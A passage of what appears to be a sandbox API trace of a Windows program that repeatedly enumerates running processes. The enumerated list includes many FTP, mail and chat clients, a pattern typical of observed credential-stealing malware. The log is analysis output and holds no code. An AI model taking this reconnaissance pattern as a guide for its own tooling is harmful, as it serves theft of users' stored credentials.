lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0096.887] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.889] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0096.891] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0096.893] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0096.895] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1 [0096.897] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0096.899] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x528, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0096.900] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x528, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0096.902] CloseHandle (hObject=0xde4) returned 1 [0096.902] Sleep (dwMilliseconds=0x64) [0097.003] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b00 [0097.016] Process32First (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0097.018] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0097.019] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0097.022] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.024] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0097.026] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.028] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0097.031] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0097.033] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0097.034] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.037] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.038] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0097.074] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.076] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.078] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.080] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.082] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.084] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.086] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.087] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0097.089] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.092] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0097.093] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0097.095] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.097] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0097.098] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0097.100] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0097.102] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0097.104] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0097.106] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0097.107] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0097.109] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.111] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0097.113] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0097.115] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0097.117] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0097.119] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0097.122] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0097.124] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0097.126] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0097.128] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0097.130] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0097.132] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0097.134] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0097.136] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0097.138] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0097.139] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0097.142] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0097.144] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0097.145] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0097.147] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0097.149] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0097.151] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0097.153] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0097.155] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0097.157] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0097.159] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0097.160] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0097.163] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0097.165] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0097.168] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0097.170] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0097.172] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0097.177] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0097.184] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0097.188] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0097.191] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0097.194] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0097.197] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0097.201] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0097.204] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0097.207] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0097.210] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0097.213] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, 